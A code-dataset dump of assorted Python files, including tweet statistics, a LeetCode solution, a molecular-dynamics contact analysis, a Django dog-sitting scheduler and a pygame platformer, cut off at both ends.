Category.objects.get_single(\n request.user, project_id, category_id)\n\n serializer = CategorySerializer(category)\n return Response(serializer.data)\n","sub_path":"geokey/categories/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":30445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"199748895","text":"from Tweet import*\nimport operator\nimport string\n\n\ndef calc_average_length(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function calculates the average number of character of the (Tweet Objects) tweet texts.'''\n list_lengthes = []\n sum = 0.0\n for tweet_obj in aList_of_tweetobjects:\n list_lengthes.append(tweet_obj.get_tweet_length())\n \n for value in list_lengthes:\n sum += value\n return sum/len(list_lengthes)\n \n \ndef calc_perc_hash(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function calculates the percentage of the Tweet Objects whose tweet texts contain a hashtag(#).'''\n count = 0.0\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.have_hashtag() == True:\n count += 1\n return (count / len(aList_of_tweetobjects)) * 100\n\ndef calc_perc_at(aList_of_tweetobjects):\n '''Given a list of Tweet objects, this function calculates the percentage of the Tweet Objects whose tweet texts contain a at(@).'''\n count = 0.0\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.have_at() == True:\n count += 1\n return (count / len(aList_of_tweetobjects)) * 100\n\ndef percentage_mention_word(aList_of_tweetobjects, given_word): \n '''Given a list of Tweet objects, and a string (a specific word), this function calculates the percentage of the Tweet Objects whose tweet texts contains the string'''\n count = 0.0\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.have_word(given_word) == True:\n count += 1\n return (count / len(aList_of_tweetobjects)) * 100\n\ndef create_dic_of_words(aList_of_tweetobjects):\n '''Given a list of Tweet objects, this function returns a dictionairy where every key is a specific word in the Tweet objects tweet text and the value of each key\n the number of times the word has occured in a tweet text. Example return value: {\"hello\": 30, \"rat\": 1, \"no\": 55}'''\n dic = {}\n for tweet_obj in aList_of_tweetobjects:\n tokens = tweet_obj.list_of_words()\n for word in tokens:\n if word not in dic:\n dic[word] = 0\n dic[word] += 1\n \n return dic\n\ndef calc_common_words(aDic, number_of_mostcommon): \n '''Given a dictionairy, such as {\"hello\": 30, \"rat\": 1, \"no\": 55}, this function returns a list of the keys with the 'number_of_mostcommon' highest values'''\n sorted_by_value = sorted(aDic.items(), key=operator.itemgetter(1)) #list of tuples, sorted by value: [('hello', 1), ('rat', 30), ('NO', 55)]\n list_most_common_words = []\n for key, value in sorted_by_value[len(aDic)-number_of_mostcommon:]:\n list_most_common_words.append(key)\n return list_most_common_words\n\ndef create_dic_of_hours(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function returns a dictionairy where every key is an hour the value of each key\n the number of times a tweet text was posted during the hour in question. Example return: {23: 30, \"12: 1, \"22: 55}.'''\n dic = {}\n for tweet_obj in aList_of_tweetobjects:\n hour = tweet_obj.get_hour()\n if hour not in dic:\n dic[hour] = 0\n dic[hour] += 1\n \n return dic\n\ndef create_dic_of_users(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function returns a dictionairy where every key is a user name and the value is the number of times\n the user name has posted a tweet text. Example return value: {\"Harry\": 30, \"Bob\": 1, \"Lisa\": 55}'''\n dic = {}\n for tweet_obj in aList_of_tweetobjects:\n user_name = tweet_obj.get_name()\n if user_name not in dic:\n dic[user_name] = 0\n dic[user_name] += 1\n \n return dic\n\ndef calc_most_common_hour_or_user(aDic): \n '''Given a dictionairy, such as {\"Harry\": 30, \"Bob\": 1, \"Lisa\": 55} or {23: 30, \"12: 1, \"22: 55}, this function returns the key whose value is the highest within the dictionairy'''\n sorted_by_value = sorted(aDic.items(), key=operator.itemgetter(1)) #returns [(13, 100), (23, 222), (22, 1000), (14, 14654)]\n return sorted_by_value[-1][0]\n\ndef calc_avg_value_per_user(aDic): \n '''Given a dictionairy, such as {\"Harry\": 30, \"Bob\": 1, \"Lisa\": 55}, this function\n calculates the sum of the values and divide it by the length of the dictionary, thus giving the average number of posts per user'''\n sum = 0.0\n for key, value in aDic.items():\n sum += value\n return sum / len(aDic)\n\ndef calc_perc_no_punct(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function calculates the percentage of the Tweet Objects whose tweet texts contains no punctuation character at all'''\n count = 0.0\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.have_punct() == False:\n count += 1\n return (count / len(aList_of_tweetobjects)) * 100\n\ndef find_THE_longest(aList_of_tweetobjects): \n '''Given a list of Tweet objects, this function returns the longest word among all Tweet objects' tweet texts'''\n longest_word = \"\"\n for tweet_obj in aList_of_tweetobjects:\n \n if len(longest_word) < len(tweet_obj.longest_word()):\n longest_word = tweet_obj.longest_word() \n return longest_word\n \ndef get_positive_tweets(aList_of_tweetobjects): \n '''Given a list of Tweet object, this function returns a new list with the positive Tweet objects only'''\n positive_tweets=[]\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.get_polarity() == 4:\n positive_tweets.append(tweet_obj)\n return positive_tweets\n \ndef get_negative_tweets(aList_of_tweetobjects): \n '''Given a list of Tweet object, this function returns a new list with the negative Tweet objects only'''\n negative_tweets=[]\n for tweet_obj in aList_of_tweetobjects:\n if tweet_obj.get_polarity() == 0:\n negative_tweets.append(tweet_obj)\n return negative_tweets\n\ndef difference_between_two_lists(list1, list2): \n '''Given two lists of some datatype, did function finds the elements at which the lists differ and returns new list with these.'''\n my_list = []\n for x in list1:\n if x not in list2:\n my_list.append(x)\n return my_list\n","sub_path":"TweetAnalyzer.py","file_name":"TweetAnalyzer.py","file_ext":"py","file_size_in_byte":6271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"174005697","text":"# -*- coding: utf-8 -*-\n\"\"\"\n :author: Wang Zelin (王泽霖)\n :url: \n :copyright: © 2018 Wang Zelin <1064534588@qq.com>\n :license: MIT, see LICENSE for more details.\n\"\"\"\n# 句子 是一个单词列表，列表中的单词之间用单个空格隔开，且不存在前导或尾随空格。每个单词仅由大小写英文字母组成（不含标点符号）。\n#\n# 例如，\"Hello World\"、\"HELLO\" 和 \"hello world hello world\" 都是句子。\n# 给你一个句子 s​​​​​​ 和一个整数 k​​​​​​ ，请你将 s​​ 截断 ​，​​​使截断后的句子仅含 前 k​​​​​​ 个单词。返回 截断 s​​​​​​ 后得到的句子。\n#\n# 示例 1：\n# 输入：s = \"Hello how are you Contestant\", k = 4\n# 输出：\"Hello how are you\"\n# 解释：\n# s 中的单词为 [\"Hello\", \"how\" \"are\", \"you\", \"Contestant\"]\n# 前 4 个单词为 [\"Hello\", \"how\", \"are\", \"you\"]\n# 因此，应当返回 \"Hello how are you\"\n#\n# 示例 2：\n# 输入：s = \"What is the solution to this problem\", k = 4\n# 输出：\"What is the solution\"\n# 解释：\n# s 中的单词为 [\"What\", \"is\" \"the\", \"solution\", \"to\", \"this\", \"problem\"]\n# 前 4 个单词为 [\"What\", \"is\", \"the\", \"solution\"]\n# 因此，应当返回 \"What is the solution\"\n#\n# 示例 3：\n# 输入：s = \"chopper is not a tanuki\", k = 5\n# 输出：\"chopper is not a tanuki\"\n\nclass Solution(object):\n def truncateSentence(self, s, k):\n \"\"\"\n :type s: str\n :type k: int\n :rtype: str\n \"\"\"\n s_list = s.split()\n return ' '.join(s_list[0:k])\n\nif __name__ == '__main__':\n a = Solution()\n s = \"chopper is not a tanuki\"\n k = 5\n print(a.truncateSentence(s,k))","sub_path":"周赛/周赛235/5722.py","file_name":"5722.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"198106290","text":"# A script to compute the fraction of a given contact in all of your frames + the standard error\n\n# import libraries\nimport matplotlib\nimport sys\nimport math\n\nmatplotlib.use('Agg')\nfrom matplotlib.pyplot import cm\nimport mdtraj as md\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom msmbuilder import dataset\nimport seaborn as sns\n\nsns.set_style(\"whitegrid\")\nsns.set_context(\"poster\")\n\n# Define condition.\nproject_num = sys.argv[1]\n\n# Define kinase.\nkinase_definition = sys.argv[2]\n\n\n\n# Define hydrogen bond coordinates (0-indexed)\nspine = {'AURKA': [[73, 62], [62, 152], [152, 131]]}\n\n\n\n\ndef spine_distances(traj, spine):\n \"\"\"\n :param traj: the trajectory to be analyzed\n :param spine: the residues involved\n :return: two flattened numpy arrays\n \"\"\"\n min_frame = 0\n end_frame = len(traj)\n\n short_traj = traj.slice(range(min_frame, end_frame), copy=False)\n\n [d2358_2202, res_list_one] = md.compute_contacts(short_traj, [spine[0]])\n [d2202_2222, res_list_two] = md.compute_contacts(short_traj, [spine[1]])\n [d2222_2326, res_list_two] = md.compute_contacts(short_traj, [spine[2]])\n\n\n # Append difference and individual distances\n dist1= np.multiply(d2358_2202, 10)\n dist2 = np.multiply(d2202_2222, 10)\n dist3 = np.multiply(d2222_2326, 10)\n #dist4 = np.multiply(dist4_nm, 10)\n\n # flatten list of arrays\n return [dist1, dist2, dist3]\n\n\ndef stat_analyze(distances, window, cutoff):\n tmax = 0\n ntraj = len(distances) # number of trajectories\n\n # Compute the maximum time\n for n in range(ntraj):\n if len(distances[n]) > tmax:\n tmax = len(distances[n])\n print('T max for run %s : %d' % (n, len(distances[n])))\n # Compute the contact fraction\n contact_fraction = np.zeros([tmax - window], np.float64)\n contact_fraction_stderr = np.zeros([tmax - window], np.float64)\n for t in range(0, tmax - window):\n # Count the number of trajectoties that are 't+sliding window' in length\n ntraj_t = 0\n for n in range(ntraj):\n if len(distances[n]) >= t + window:\n ntraj_t += 1\n contact_fraction_n = np.zeros(ntraj_t)\n index = 0\n for n in range(ntraj):\n if len(distances[n]) >= t + window:\n contact_fraction_n[index] = (distances[n][t:(t + window)] < cutoff).mean()\n index += 1\n contact_fraction[t] = contact_fraction_n.mean()\n contact_fraction_stderr[t] = contact_fraction_n.std() / np.sqrt(ntraj_t)\n\n return contact_fraction, contact_fraction_stderr\n\n\nif __name__ == \"__main__\":\n\n sliding_window = 40\n cutoff_dist = 4\n list_of_runs = [0]\n for run in list_of_runs:\n dist_list1 = []\n dist_list2 = []\n dist_list3 = []\n #dist_list4 = []\n trajectories = dataset.MDTrajDataset(\n \"/cbio/jclab/conditions/fah/fah-data/munged3/no-solvent/%s/run%s-clone*.h5\" % (project_num, run))\n for traj_in in trajectories:\n [distance1, distance2, distance3] = spine_distances(traj_in, spine[kinase_definition])\n dist_list1.append(distance1[:, 0])\n dist_list2.append(distance2[:, 0])\n dist_list3.append(distance3[:, 0])\n #dist_list4.append(distance4[:, 0])\n [dist1_fraction, dist1_stderr] = stat_analyze(dist_list1, sliding_window, cutoff_dist)\n [dist2_fraction, dist2_stderr] = stat_analyze(dist_list2, sliding_window, cutoff_dist)\n [dist3_fraction, dist3_stderr] = stat_analyze(dist_list3, sliding_window, cutoff_dist)\n #[dist4_fraction, dist4_stderr] = stat_analyze(dist_list4, sliding_window, cutoff_dist)\n np.save('../data/spine/%s_%s_dist1_fraction_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist1_fraction)\n np.save('../data/spine/%s_%s_dist1_stderr_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist1_stderr)\n np.save('../data/spine/%s_%s_dist2_fraction_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist2_fraction)\n np.save('../data/spine/%s_%s_dist2_stderr_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist2_stderr)\n np.save('../data/spine/%s_%s_dist3_fraction_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist3_fraction)\n np.save('../data/spine/%s_%s_dist3_stderr_%s.npy' % (project_num, kinase_definition, cutoff_dist), dist3_stderr)\n","sub_path":"scripts/spine_assembly.py","file_name":"spine_assembly.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"612146835","text":"#_*_ coding:utf-8 _*_\n#@Time :2020-12-0611:05\n#@Author :lemon_suhang\n#@Email :1147967632@qq.com\n#@File :函数.py\n#@Software:PyCharm\n\n\ndef add_num(a,b):\n result = a+ b\n print(result)\n\n\n\n\nadd_num(10,20)\n\n# def dele_func():\n# print(\"----请选择功能----\")\n# print(\"查询余额\")\n# print('存款')\n# print('取款')\n# print(\"请选择功能\")\n#\n# dele_func()\n\n\ndef duy():\n return \"烟\"\n\ncon=duy()\nprint(con)\n\ndef sum_a(a,b):\n # \"\"\"求和函数\"\"\"\n '''求和函数'''\n return a+b\n\na=int(input(\"输入一个数\"))\nb=int(input(\"输入一个数\"))\ns =sum_a(a,b)\nprint(s)\n\nhelp(sum_a)\n\n\n","sub_path":"第三天/函数.py","file_name":"函数.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"313075666","text":"# coding=utf-8\n# The sum of the squares of the first ten natural numbers is,\n\n# (1^2) + (2^2) + ... + (10^2) = 385\n\n# The square of the sum of the first ten natural numbers is,\n\n# (1 + 2 + ... + 10)^2 = (55^2) = 3025\n\n# Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640.\n\n# Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.\n\ndef differenceBetweenSquareSumAndSumSquares(number):\n\tsumOfSquares = []\n\tsquareOfSum = []\n\tfor eachNumber in range(0, (number + 1)):\n\t\tsumOfSquares.append((eachNumber**2))\n\t\tsquareOfSum.append(eachNumber)\n\n\tsquareOfSum = (sum(squareOfSum))\n\tsquareOfSum = ((squareOfSum**2))\n\tsumOfSquares = (sum(sumOfSquares))\n\n\tdifference = (squareOfSum - sumOfSquares)\n\treturn difference\n\t\t\n\nprint(differenceBetweenSquareSumAndSumSquares(100))","sub_path":"06-sum-square-difference.py","file_name":"06-sum-square-difference.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"211002404","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport tifffile as tf\nfrom skimage import color, img_as_float, io\n\ndf = pd.read_pickle('./df_raw.pkl')\nim = tf.imread('./slice_samples/recon_10250.tiff')\n\n# Values from ImageJ selectio box\nwidth = 5496\nheight = 3378\nx0 = 1890\ny0 = 1488\n\n# Setting ROI corners\nnrows = 15\nxs = np.linspace(x0, x0 + width, nrows, dtype=np.int)\nys = np.linspace(y0, y0 + height, nrows, dtype=np.int)\nd = 125\n\n\ndef make_metric_RGB(im, metric='ACC', df=df, xs=xs, ys=ys, d=d, saturation=0.75):\n print('Calculating map')\n metric_map = np.zeros(im.shape)\n count = 0\n for x in xs:\n for y in ys:\n val = df.iloc[count][metric]\n metric_map[y:y+d, x:x+d] = val\n count += 1\n\n mask = metric_map != 0\n saturation = np.zeros_like(metric_map)\n saturation[mask] = 0.75\n\n hsv = np.zeros(im.shape + (3,))\n hsv[..., 0] = metric_map # hue\n hsv[..., 1] = saturation # saturation\n hsv[..., 2] = img_as_float(im) # value\n\n print('Converting to rgb')\n rgb = color.hsv2rgb(hsv)\n\n return rgb\n\n\n# for col in df.columns:\n# print(col)\n# metric_map = make_metric_RGB(im, metric=col)\n# io.imsave('metric_maps/{}.png'.format(col), metric_map)\n\n\njsd = df.JSD\njsd -= jsd.min()\njsd /= jsd.max()\njsd = pd.DataFrame(jsd)\njsd_map = make_metric_RGB(im, metric='JSD', df=jsd)\nio.imsave('metric_maps/JSD.png', jsd_map)\n\nrmse = df.RMSE\nrmse -= rmse.min()\nrmse /= rmse.max()\nrmse = pd.DataFrame(rmse)\nrmse_map = make_metric_RGB(im, metric='RMSE', df=rmse)\nio.imsave('metric_maps/RMSE.png', rmse_map)\n\nn = 200\nhue_gradient = np.flip(np.linspace(0, 1, n), 0)\nhsv = np.ones(shape=(len(hue_gradient), 1, 3), dtype=float)\nhsv[:, :, 0] = hue_gradient[:, None]\nhsv[:, :, 1] = 0.75\n\nall_hues = color.hsv2rgb(hsv)\n\nfig, ax = plt.subplots(figsize=(2, 5))\nax.imshow(all_hues, extent=(0, 0.2, 0.1, 1))\nax.xaxis.set_ticks([])\n\nplt.tight_layout()\nplt.savefig('metric_maps/cmap.pdf')\n","sub_path":"notes/2018-09-17-bit-depth/map_agreement.py","file_name":"map_agreement.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"55747652","text":"from django.shortcuts import render, redirect\nfrom django import forms\n\n# Bring in the DogAppointment model and the Sitter model from the models file\nfrom .models import (\n DogAppointment,\n Sitter,\n)\n\nclass SitterForm(forms.Form):\n first_name = forms.CharField(max_length=100)\n last_name = forms.CharField(max_length=100)\n email = forms.EmailField(max_length=127)\n phone = forms.CharField(max_length=127)\n address = forms.CharField(max_length=127)\n\nclass AppointmentForm(forms.Form):\n name = forms.CharField(max_length=100)\n age = forms.IntegerField()\n time = forms.TimeField()\n date = forms.DateField()\n\nclass BookAppointmentForm(forms.Form):\n sitter = forms.ModelChoiceField(queryset=Sitter.objects.all())\n\ndef homepage(request):\n sitters = Sitter.objects.all()\n dogs = DogAppointment.objects.all()\n context = {\n 'sitters': sitters,\n 'dogs': dogs,\n 'booking_form': BookAppointmentForm(),\n }\n return render(request, 'homepage.html', context)\n\n\ndef add_sitter(request):\n # Check if we are getting a post request, that means we are receiving a\n # form submission\n if request.method == 'POST':\n # Let's get all the values out of the POST dictionary\n form = SitterForm(request.POST)\n if form.is_valid():\n first_name = form.cleaned_data['first_name']\n last_name = form.cleaned_data['last_name']\n email = form.cleaned_data['email']\n phone = form.cleaned_data['phone']\n address = form.cleaned_data['address']\n\n # Finally, actually create the Sitter\n Sitter.objects.create(\n first_name=first_name,\n last_name=last_name,\n email=email,\n phone=phone,\n address=address,\n )\n\n # Redirect to homepage to see result\n return redirect('/')\n else:\n form = SitterForm()\n\n context = {\n 'form': form,\n }\n\n return render(request, 'add_sitter.html', context)\n\n\ndef add_dog(request):\n # Check if we are getting a post request, that means we are receiving a\n # form submission\n if request.method == 'POST':\n # Let's get all the values out of the POST dictionary\n form = AppointmentForm(request.POST)\n if form.is_valid():\n # Then, get the data out of the POST dictionary\n name = form.cleaned_data['name']\n age = form.cleaned_data['age']\n time = form.cleaned_data['time']\n date = form.cleaned_data['date']\n\n # Finally, actually create the appointment\n DogAppointment.objects.create(\n name=name,\n age=age,\n date=str(date),\n time=str(time),\n )\n\n # Redirect to homepage to see result\n return redirect('/')\n else:\n form = AppointmentForm()\n\n context = {\n 'form': form,\n }\n\n return render(request, 'add_dog.html', context)\n\ndef book(request):\n form = BookAppointmentForm(request.POST)\n if form.is_valid():\n # Get the id they specified\n dog_id = request.POST['id']\n\n # Fetch the corresponding appointment\n dog_appt = DogAppointment.objects.get(id=dog_id)\n\n # Mark it as booked\n dog_appt.booked = True\n\n # Get who they booked it with\n sitter = form.cleaned_data['sitter']\n sitter_name = sitter.first_name\n\n # Store that info too\n dog_appt.booked_by = sitter_name\n\n # And save\n dog_appt.save()\n return redirect('/')\n","sub_path":"Documents/BACKEND/week6/6.2-forms/activities/4_dogsit_enhance/dogsit/scheduling/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"523166503","text":"import pygame\r\nimport glob\r\nimport random\r\nimport time\r\n\r\nscore = 0\r\nplatform_list = []\r\n\r\ndef get_white(y):\r\n if(y > -765 and y<0):\r\n y = y//3 #255\r\n return (255+y,255+y,255+y)\r\n elif(y >= 0):\r\n return (255,255,255)\r\n else: \r\n return (0,0,0)\r\n\r\ndef redraw_game_window():\r\n text = myfont.render('Score: {}'.format(score), False, (255, 0, 0))\r\n win.fill((0,0,0))\r\n for pl in platform_list[::-1]:\r\n pl.draw(win)\r\n player.draw(win)\r\n win.blit(text,(50,50))\r\n pygame.display.update()\r\n\r\ndef start_function():\r\n return True\r\n\r\ndef quit_function():\r\n return False\r\n\r\n'''Objects'''\r\nclass Button():\r\n def __init__(self,text, position, function):\r\n self.normal = pygame.font.SysFont('Arial', 30)\r\n self.hover = pygame.font.SysFont('Arial', 50)\r\n self.choice = False\r\n self.width = 1080\r\n self.height = 100\r\n self.clicked = False\r\n self.text = text\r\n self.position = position\r\n self.function = function\r\n \r\n def draw(self,win):\r\n if(self.choice):\r\n pygame.draw.rect(win,(255,255,255),(self.position[0],self.position[1]-15,self.width,self.height+30),0)\r\n button_text = self.hover.render('{}'.format(self.text), False, (0, 0, 0))\r\n win.blit(button_text,(self.position[0]+200,self.position[1]+20))\r\n else:\r\n pygame.draw.rect(win,(0,0,0),(self.position[0],self.position[1],self.width,self.height),0)\r\n button_text = self.normal.render('{}'.format(self.text), False, (255, 255, 255))\r\n win.blit(button_text,(self.position[0]+200,self.position[1]+20))\r\n \r\n def click(self):\r\n return self.function()\r\n\r\nclass Light():\r\n light_right = pygame.image.load('lampe/light_right.png')\r\n light_left = pygame.image.load('lampe/light_left.png')\r\n light_right_on = pygame.image.load('lampe/light_on_right.png')\r\n light_left_on = pygame.image.load('lampe/light_on_left.png')\r\n light = pygame.image.load('lampe/light.png')\r\n\r\n def __init__(self, platform):\r\n if(platform.x > 500):\r\n self.pic = self.light_left\r\n self.pic_on = self.light_left_on\r\n self.x = (int(platform.x+platform.width/2)) - 150\r\n self.draw_x = self.x\r\n else:\r\n self.x = (int(platform.x+platform.width/2)) + 60\r\n self.pic = self.light_right\r\n self.pic_on = self.light_right_on\r\n self.draw_x = self.x -110\r\n \r\n self.y = platform.y - 218 \r\n self.width = 90\r\n self.height = 55\r\n self.color = get_white(self.y)\r\n self.touched = False\r\n \r\n def draw(self,win):\r\n pygame.draw.rect(win,self.color,(self.x,self.y,self.width,self.height),0)\r\n win.blit(self.pic,(self.draw_x,self.y-30))\r\n if(not self.touched):\r\n self.color = get_white(self.y)\r\n if(self.touched):\r\n win.blit(self.light,(int(self.x-90),int(self.y-110)))\r\n \r\n def touch(self):\r\n global score\r\n if(self.touched == False):\r\n self.pic = self.pic_on\r\n self.color = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\r\n self.touched = True\r\n score += 50\r\n\r\nclass Aquarium():\r\n aqua = [pygame.image.load(x) for x in glob.glob('aquarium/*.png')]\r\n aqua = list(map(lambda x: pygame.transform.scale(x, (120,160)),aqua))\r\n aqua_t = [pygame.image.load(x) for x in glob.glob('aquarium_touched/*.png')]\r\n aqua_t = list(map(lambda x: pygame.transform.scale(x, (120,160)),aqua_t))\r\n light = pygame.image.load('fernseher/light.png')\r\n \r\n def __init__(self, platform):\r\n self.x = (int(platform.x+platform.width/2)) - 60\r\n self.y = platform.y - 160\r\n self.width = 120\r\n self.height = 110\r\n self.color = get_white(self.y)\r\n self.touched = False\r\n self.Fishcounter = 0\r\n \r\n def draw(self,win):\r\n pygame.draw.rect(win,self.color,(self.x,self.y,self.width,self.height),0)\r\n win.blit(self.aqua[self.Fishcounter%18//3],(self.x,self.y))\r\n self.Fishcounter += 1\r\n if(not self.touched):\r\n self.color = get_white(self.y)\r\n else:\r\n win.blit(self.light,(self.x-185,self.y-105))\r\n \r\n def touch(self):\r\n global score\r\n if(self.touched == False):\r\n self.aqua = self.aqua_t\r\n self.color = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\r\n self.touched = True\r\n score += 50\r\n\r\n\r\nclass Drawer():\r\n drawer = pygame.image.load('schrank_trans.png')\r\n def __init__(self):\r\n global platfrom_list\r\n platform = platform_list[-1]\r\n self.lampe = False\r\n self.aquarium = False\r\n self.x = (int(platform.x+platform.width/2) + random.randint(-300,300))%980\r\n self.y = self.y = platform.y + random.randint(-180,-150)\r\n self.width = random.randint(190,250)\r\n if(self.width > 200 and random.randint(0,1)):\r\n self.lampe = True\r\n self.height = abs(self.y)+720\r\n self.color = get_white(self.y)\r\n self.touched = False\r\n \r\n def draw(self,win):\r\n pygame.draw.rect(win,self.color,(self.x,self.y,self.width,self.height),0)\r\n win.blit(pygame.transform.scale(self.drawer,(self.width,1000)),(self.x,self.y))\r\n if(not self.touched):\r\n self.color = get_white(self.y)\r\n \r\n def touch(self):\r\n global score\r\n if(self.touched == False):\r\n self.color = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\r\n self.touched = True\r\n score += 50\r\n \r\nclass Platform():\r\n def __init__(self):\r\n global platform_list\r\n self.lampe = False\r\n self.touched = False\r\n self.aquarium = False\r\n if(len(platform_list)>0):\r\n platform = platform_list[-1]\r\n self.x = (int(platform.x+platform.width/2) + random.randint(-300,300))%980\r\n self.y = platform.y + random.randint(-180,-150)\r\n self.width = random.randint(150,400)\r\n self.height = 720+abs(self.y)\r\n else:\r\n self.x = 0\r\n self.y = 600\r\n self.width = 1080\r\n self.height = 1000\r\n self.color = get_white(self.y)\r\n if(self.width > 200 and random.randint(0,1)):\r\n self.aquarium = True\r\n \r\n def draw(self, win):\r\n pygame.draw.rect(win,self.color,(self.x,self.y,self.width,self.height),0)\r\n pygame.draw.rect(win,(0,0,0),(self.x,self.y,self.width,self.height),2)\r\n if(not self.touched):\r\n self.color = get_white(self.y)\r\n \r\n def touch(self):\r\n global score\r\n if(self.touched == False):\r\n self.color = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\r\n self.touched = True\r\n score += 50\r\n\r\nclass Player(object):\r\n char = pygame.image.load('standing.png')\r\n walk_right = [pygame.image.load(x) for x in glob.glob('walk_right/*.png')]\r\n walk_left = [pygame.image.load(x) for x in glob.glob('walk_left/*.png')]\r\n def __init__(self,platform, width=120,height=120):\r\n self.x = platform.x + 10 \r\n self.y = platform.y - 100 \r\n self.width = width\r\n self.height = height\r\n self.vel = 12\r\n self.jumping = self.falling = self.left = self.right = False\r\n self.standing = True\r\n self.walkCount = 0 #To know, which Frame to show\r\n self.jump_height = 9\r\n self.fall_speed = 2\r\n self.hitbox = (self.x+25,self.y+35,60,65) #The actual size of the object\r\n self.standing_on = platform\r\n self.double_jump = 1\r\n self.delay = 5\r\n \r\n def set_falling(self):\r\n self.falling = True\r\n self.jumping = False\r\n self.standing = False\r\n self.jump_height = 9\r\n \r\n def set_jumping(self):\r\n self.jumping = True\r\n self.standing = False\r\n self.falling = False\r\n self.fall_speed = 2\r\n \r\n def set_standing(self):\r\n self.double_jump = 1\r\n self.fall_speed = 2\r\n self.jump_height = 9\r\n self.standing = True\r\n self.falling = False\r\n self.jumping = False\r\n \r\n def draw(self, win):\r\n self.walkCount = self.walkCount%15\r\n if self.left:\r\n win.blit(self.walk_left[self.walkCount//3], (self.x,self.y))\r\n self.walkCount += 1\r\n elif self.right:\r\n win.blit(self.walk_right[self.walkCount//3], (self.x,self.y))\r\n self.walkCount +=1\r\n else:\r\n win.blit(self.char,(self.x,self.y))\r\n self.hitbox = (self.x+25,self.y+35,60,65)\r\n \r\n def check_fall(self):\r\n standing_area = [self.hitbox[0], self.hitbox[0]+self.hitbox[2]]\r\n if(self.jumping == False):\r\n if(self.standing_on.x > standing_area[1] or (self.standing_on.x + self.standing_on.width) < standing_area[0]):\r\n self.set_falling()\r\n\r\n def check_landing(self):\r\n global platform_list\r\n standing_area = [self.hitbox[0], self.hitbox[0]+self.hitbox[2]]\r\n if(self.falling):\r\n for platform in platform_list:\r\n if(platform != self.standing_on):\r\n if(platform.x < standing_area[1] and (platform.x + platform.width) > standing_area[0]):\r\n #x stimmt überein\r\n if((self.hitbox[1]+self.hitbox[3]) < platform.y):\r\n #Y stimmt\r\n self.standing_on = platform\r\n\r\n \r\n def check_standing(self):\r\n if(self.falling):\r\n platform = self.standing_on\r\n standing_area = [self.hitbox[0], self.hitbox[0]+self.hitbox[2]]\r\n if(platform.x < standing_area[1] and (platform.x + platform.width) > standing_area[0]):\r\n if((self.hitbox[1]+self.hitbox[3]) > platform.y and (self.hitbox[1]+self.hitbox[3]) < (platform.y + platform.height)):\r\n platform.touch()\r\n self.y = platform.y - 100\r\n self.set_standing()\r\n\r\n def not_walking(self):\r\n self.right = False\r\n self.left = False\r\n self.walkCount = 0\r\n\r\n def move_right(self):\r\n self.x = (self.x + self.vel) if self.x < (win_width +40) else -30\r\n self.right = True\r\n self.left = False\r\n \r\n def move_left(self):\r\n self.x = (self.x - self.vel) if self.x > -40 else 1050\r\n self.right = False\r\n self.left = True\r\n \r\n def do_falling(self):\r\n if(self.falling):\r\n self.y += int((self.fall_speed**2)* 0.15)\r\n self.fall_speed += 1\r\n \r\n def do_jumping(self):\r\n if(self.jumping):\r\n if self.jump_height >= 0:\r\n self.y -= int((self.jump_height * abs(self.jump_height)) * 0.5)\r\n self.jump_height -= 1\r\n else:\r\n self.set_falling()\r\ndef menu_loop():\r\n button_list = []\r\n \r\n start = Button('START', (0,300), start_function)\r\n test = Button('QUIT',(0,500), quit_function)\r\n \r\n button_list.append(start)\r\n button_list.append(test)\r\n ind = 0\r\n \r\n \r\n while True:\r\n for i in range(len(button_list)):\r\n if(i == ind):\r\n button_list[i].choice = True\r\n else:\r\n button_list[i].choice = False\r\n \r\n win.fill((20,20,20))\r\n for button in button_list:\r\n button.draw(win)\r\n \r\n for event in pygame.event.get():\r\n if(event.type == pygame.QUIT):\r\n return False\r\n if(event.type == pygame.KEYDOWN):\r\n if(event.key == pygame.K_UP or event.key == pygame.K_DOWN):\r\n ind = (ind + 1)%len(button_list)\r\n elif(event.key == pygame.K_RETURN):\r\n return button_list[ind].click()\r\n pygame.display.update()\r\n \r\ndef game_loop(player):\r\n global score \r\n global platform_list\r\n \r\n score = 0\r\n test = 0\r\n speed = -0.5\r\n for i in range(25):\r\n plt = Platform() if random.randint(0,1) else Drawer()\r\n 